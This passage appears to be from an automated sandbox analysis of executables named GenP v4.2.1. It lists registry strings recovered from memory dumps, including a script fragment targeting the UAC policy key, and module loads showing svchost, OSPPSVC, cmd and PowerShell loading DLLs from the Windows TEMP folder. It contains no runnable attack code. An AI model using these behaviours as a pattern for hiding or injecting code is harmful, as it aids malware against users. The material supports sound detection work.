Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006656.00000002.261062.008C1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006656.00000002.261062.02DC0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006656.00000002.261062.02DC0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006656.00000002.261062.070E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00006656.00000002.261062.0890F000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006860.00000000.253892.02FB0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006860.00000000.253892.02FB0000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00006860.00000001.253940.00A30000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006860.00000001.253940.00A30000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006860.00000001.253940.02FB0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006860.00000001.253940.02FB0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007652.00000000.259220.01870000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00007652.00000000.259220.01870000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00007652.00000000.259220.03C00000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00007652.00000000.259220.03C00000.00000004.mdmp "Software\AutoIt v3\AutoIt" in Source: 00000000-00007688.00000000.254241.383AA000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00007688.00000000.254241.383AA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00007688.00000000.254241.383AA000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007688.00000000.254241.B51A1000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007688.00000001.256162.B51A1000.00000004.mdmp "\Software\Microsoft\Windows NT\CurrentVersi" in Source: 00000000-00007688.00000001.256162.B51A1000.00000004.mdmp "E\Software\Classes\PackagedCom" in Source: 00000000-00007688.00000001.256162.B51A1000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00007688.00000001.256162.BBB22000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000001.256162.BBB22000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000001.256162.BBB22000.00000004.mdmp "chine\Software\Classes\Scripting.Dictionary" in Source: 00000000-00007688.00000001.256162.BBB22000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000001.256162.BBB22000.00000004.mdmp "Registry\Machine\Software\Classes\Scripting.Dictionary" in Source: 00000000-00007688.00000001.256162.BBB22000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007688.00000001.256162.BBB22000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007688.00000002.258079.B51A1000.00000004.mdmp "\Software\Microsoft\Windows NT\CurrentVersi" in Source: 00000000-00007688.00000002.258079.B51A1000.00000004.mdmp "E\Software\Classes\PackagedCom" in Source: 00000000-00007688.00000002.258079.B51A1000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00007688.00000002.258079.BBB22000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000002.258079.BBB22000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000002.258079.BBB22000.00000004.mdmp "chine\Software\Classes\Scripting.Dictionary" in Source: 00000000-00007688.00000002.258079.BBB22000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000002.258079.BBB22000.00000004.mdmp "Registry\Machine\Software\Classes\Scripting.Dictionary" in Source: 00000000-00007688.00000002.258079.BBB22000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007688.00000002.258079.BBB22000.00000004.mdmp "ISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007688.00000003.276808.B51A1000.00000004.mdmp "\Software\Microsoft\Windows NT\CurrentVersi" in Source: 00000000-00007688.00000003.276808.B51A1000.00000004.mdmp "E\Software\Classes\PackagedCom" in Source: 00000000-00007688.00000003.276808.B51A1000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000003.276808.BBB22000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000003.276808.BBB22000.00000004.mdmp "chine\Software\Classes\Scripting.Dictionary" in Source: 00000000-00007688.00000003.276808.BBB22000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00007688.00000003.276808.BBB22000.00000004.mdmp3c:T4b0f,"Genpv4.2.1.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffaed3e0000 "Genpv4.2.1.exe" loaded module "ADVAPI32.DLL" at base 7ffb188a0000 "Genpv4.2.1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb161e0000 "Genpv4.2.1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb161e0000 "Genpv4.2.1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb161e0000 "Genpv4.2.1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffaed060000 "Genpv4.2.1.exe" loaded module "SHLWAPI.DLL" at base 7ffb17250000 "Genpv4.2.1.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb150c0000 "Genpv4.2.1.exe" loaded module "VERSION.DLL" at base 7ffb0c010000 "Genpv4.2.1.exe" loaded module "KERNEL32" at base 7ffb18490000 "Genpv4.2.1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffae3510000 "Genpv4.2.1.exe" loaded module "USER32.DLL" at base 7ffb182e0000 "Genpv4.2.1.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb161e0000 "Genpv4.2.1.exe" loaded module "MSCOREE.DLL" at base 7ffaf0170000 "Genpv4.2.1.exe" loaded module "NTDLL" at base 7ffb18c50000 "Genpv4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 28c0000 "Genpv4.2.1.exe" loaded module "PSAPI.DLL" at base 7ffb17400000 "Genpv4.2.1.exe" loaded module "RPCRT4.DLL" at base 7ffb172e0000 "Genpv4.2.1.exe" loaded module "KERNEL32.DLL" at base 7ffb18490000 "Genpv4.2.1.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffae1f50000 "Genpv4.2.1.exe" loaded module "OLE32.DLL" at base 7ffb17cd0000 "Genpv4.2.1.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 28c0000 "Genpv4.2.1.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb161e0000 "Genpv4.2.1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffae1e20000 "Genpv4.2.1.exe" loaded module "SHELL32.DLL" at base 7ffb16a50000 "Genpv4.2.1.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffae1200000 "Genpv4.2.1.exe" loaded module "NTDLL.DLL" at base 7ffb18c50000 "Genpv4.2.1.exe" loaded module "KERNELBASE" at base 7ffb161e0000 "Genpv4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffb13500000 "GenP-v4.2.1.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffaed3e0000 "GenP-v4.2.1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb161e0000 "GenP-v4.2.1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb161e0000 "GenP-v4.2.1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 7ffb161e0000 "GenP-v4.2.1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb161e0000 "GenP-v4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb136a0000 "GenP-v4.2.1.exe" loaded module "KERNEL32.DLL" at base 7ffb18490000 "GenP-v4.2.1.exe" loaded module "COMCTL32.DLL" at base 7ffb00ae0000 "GenP-v4.2.1.exe" loaded module "COMCTL32" at base 7ffb00ae0000 "GenP-v4.2.1.exe" loaded module "OLE32.DLL" at base 7ffb17cd0000 "GenP-v4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ffaf17a0000 "GenP-v4.2.1.exe" loaded module "RPCRT4.DLL" at base 7ffb172e0000 "GenP-v4.2.1.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ffb187f0000 "GenP-v4.2.1.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ffb182e0000 "GenP-v4.2.1.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ffb182e0000 "GenP-v4.2.1.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ffb188a0000 "GenP-v4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ffb17cd0000 "GenP-v4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ffb17730000 "GenP-v4.2.1.exe" loaded module "USER32.DLL" at base 7ffb182e0000 "GenP-v4.2.1.exe" loaded module "ADVAPI32.DLL" at base 7ffb188a0000 "GenP-v4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb15030000 "GenP-v4.2.1.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb166f0000 "GenP-v4.2.1.exe" loaded module "UXTHEME.DLL" at base 7ffb136a0000 "GenP-v4.2.1.exe" loaded module "NTDLL.DLL" at base 7ffb18c50000 "GenP-v4.2.1.exe" loaded module "KERNELBASE" at base 7ffb161e0000 "svchost.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74a10000 "svchost.exe" loaded module "KERNEL32.DLL" at base 75c10000 "svchost.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 76600000 "svchost.exe" loaded module "NTDLL.DLL" at base 77780000 "svchost.exe" loaded module "POWRPROF.DLL" at base 749a0000 "svchost.exe" loaded module "WS2_32.DLL" at base 75640000 "svchost.exe" loaded module "USER32.DLL" at base 75490000 "svchost.exe" loaded module "ADVAPI32.DLL" at base 75d10000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74930000 "svchost.exe" loaded module "IPHLPAPI.DLL" at base 74d20000 "svchost.exe" loaded module "RPCRT4.DLL" at base 759d0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 74820000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 747c0000 "svchost.exe" loaded module "CRYPT32.DLL" at base 774e0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74780000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76600000 "svchost.exe" loaded module "USERENV.DLL" at base 74d00000 "svchost.exe" loaded module "SECUR32.DLL" at base 746f0000 "svchost.exe" loaded module "SSPICLI.DLL" at base 746c0000 "svchost.exe" loaded module "OLE32.DLL" at base 75a90000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74c80000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76290000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 74670000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75d10000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 745f0000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 75d90000 "svchost.exe" loaded module "OLEAUT32.DLL" at base 75d90000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 74540000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 74520000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 74450000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76290000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76290000 "svchost.exe" loaded module "AMSI.DLL" at base 74430000 "svchost.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "svchost.exe" loaded module "KERNEL32" at base 75c10000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 75470000 "svchost.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\X86\MPOAV.DLL" at base 743c0000 "svchost.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\PB0CNF68.DLL" at base 74380000 "svchost.exe" loaded module "GDI32.DLL" at base 75be0000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 74630000 "svchost.exe" loaded module "KERNELBASE" at base 76290000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74b80000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffaed3e0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffb18490000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffb18c50000 "cmd.exe" loaded module "KERNELBASE" at base 7ffb161e0000 "cmd.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffb150c0000 "OSPPSVC.EXE" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74a10000 "OSPPSVC.EXE" loaded module "KERNEL32.DLL" at base 75c10000 "OSPPSVC.EXE" loaded module "BCRYPTPRIMITIVES.DLL" at base 76600000 "OSPPSVC.EXE" loaded module "NTDLL.DLL" at base 77780000 "OSPPSVC.EXE" loaded module "POWRPROF.DLL" at base 749a0000 "OSPPSVC.EXE" loaded module "WS2_32.DLL" at base 75640000 "OSPPSVC.EXE" loaded module "USER32.DLL" at base 75490000 "OSPPSVC.EXE" loaded module "ADVAPI32.DLL" at base 75d10000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74930000 "OSPPSVC.EXE" loaded module "IPHLPAPI.DLL" at base 74d20000 "OSPPSVC.EXE" loaded module "RPCRT4.DLL" at base 759d0000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 74820000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 747c0000 "OSPPSVC.EXE" loaded module "USERENV.DLL" at base 74d00000 "OSPPSVC.EXE" loaded module "SECUR32.DLL" at base 74790000 "OSPPSVC.EXE" loaded module "SSPICLI.DLL" at base 74760000 "OSPPSVC.EXE" loaded module "OLE32.DLL" at base 75a90000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74c80000 "OSPPSVC.EXE" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76290000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 74710000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75d10000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 74690000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 75d90000 "OSPPSVC.EXE" loaded module "OLEAUT32.DLL" at base 75d90000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 745e0000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 745c0000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 744f0000 "OSPPSVC.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76290000 "OSPPSVC.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76290000 "OSPPSVC.EXE" loaded module "AMSI.DLL" at base 744d0000 "OSPPSVC.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "OSPPSVC.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "OSPPSVC.EXE" loaded module "KERNEL32" at base 75c10000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 75470000 "OSPPSVC.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\X86\MPOAV.DLL" at base 74460000 "OSPPSVC.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSWOW64\PB0CNF68.DLL" at base 74420000 "OSPPSVC.EXE" loaded module "WTSAPI32.DLL" at base 74750000 "OSPPSVC.EXE" loaded module "KERNELBASE" at base 76290000 "OSPPSVC.EXE" loaded module "GDI32.DLL" at base 75be0000 "OSPPSVC.EXE" loaded module "CRYPT32.DLL" at base 774e0000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74b80000 "OSPPSVC.EXE" loaded module "RSTRTMGR.DLL" at base 6fef0000 "OSPPSVC.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76600000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74a10000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 75d10000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 74510000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 75e30000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 74c60000 "powershell.exe" loaded module "VERSION.DLL" at base 75470000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76290000 "powershell.exe" loaded module "KERNEL32" at base 75c10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 73c60000 "powershell.exe" loaded module "USER32.DLL" at base 75490000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76290000 "powershell.exe" loaded module "MSCOREE.DLL" at base 745a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 77200000 "powershell.exe" loaded module "PSAPI.DLL" at base 76080000 "powershell.exe" loaded module "RPCRT4.DLL" at base 759d0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 75c10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\8D55D7CAD944A3F21AEB1DB491F3D6DE\MSCORLIB.NI.DLL" at base 72790000 "powershell.exe" loaded module "OLE32.DLL" at base 75a90000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 77200000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 75d90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76600000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76290000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 726e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\10E5A0803D11B8B826DBEB56A1F98239\SYSTEM.NI.DLL" at base 71cc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\53FCC36B6B7C9CC86E5D7484C1F93BD8\SYSTEM.CORE.NI.DLL" at base 714a0000 "powershell.exe" loaded module "COMBASE.DLL" at base 77200000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 77200000 "powershell.exe" loaded module "NTDLL.DLL" at base 77780000 "powershell.exe" loaded module "SHELL32.DLL" at base 76b90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\638BA173C955AB83F37EDBAB9B896F44\SYSTEM.XML.NI.DLL" at base 70590000 "powershell.exe" loaded module "WINTRUST.DLL" at base 75810000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 774e0000 "powershell.exe" loaded module "AMSI.DLL" at base 744d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 75470000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\X86\MPOAV.DLL" at base 74460000 "powershell.exe" loaded module "WLDP.DLL" at base 70510000 "powershell.exe" loaded module "CRYPT32.DLL" at base 774e0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 704f0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 704d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 70480000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\PWRSHSIP.DLL" at base 70470000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\PB0CNF68.DLL" at base 74420000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\49F607BAF81088A9D539C06A3D4F866D\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 703f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74c80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 70090000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\E4E680611F69D26D704E61DD8BFA4ECE\SYSTEM.CONFIGURATION.NI.DLL" at base 6ff80000 "powershell.exe" loaded module "BCRYPT.DLL" at base 744f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 77200000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6ff30000 "powershell.exe" loaded module "SECUR32.DLL" at base 74790000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74760000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\X86\MPCLIENT.DLL" at base 6fd90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 75c10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75d10000 "powershell.exe" loaded module "URLMON.DLL" at base 6fbe0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76290000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 6f890000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6f7e0000 "powershell.exe" loaded module "OLEAUT32" at base 75d90000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 76290000 "powershell.exe" loaded module "MSVCRT.DLL" at base 75870000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6f7d0000 "powershell.exe" loaded module "MI.DLL" at base 6f7b0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 76290000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6f720000 "powershell.exe" loaded module "GDI32.DLL" at base 75be0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76290000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6f710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6f680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f5b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76290000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76290000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 75c10000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 76290000 "powershell.exe" loaded module "KERNELBASE" at base 76290000 "powershell.exe" loaded module "RASAPI32.DLL" at base 6f4b0000 "powershell.exe" loaded module "WS2_32.DLL" at base 75640000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74930000 "powershell.exe" loaded module "RASMAN.DLL" at base 704b0000 "powershell.exe" loaded module "WINHTTP.DLL" at base 6f3d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 70490000 "powershell.exe" loaded module 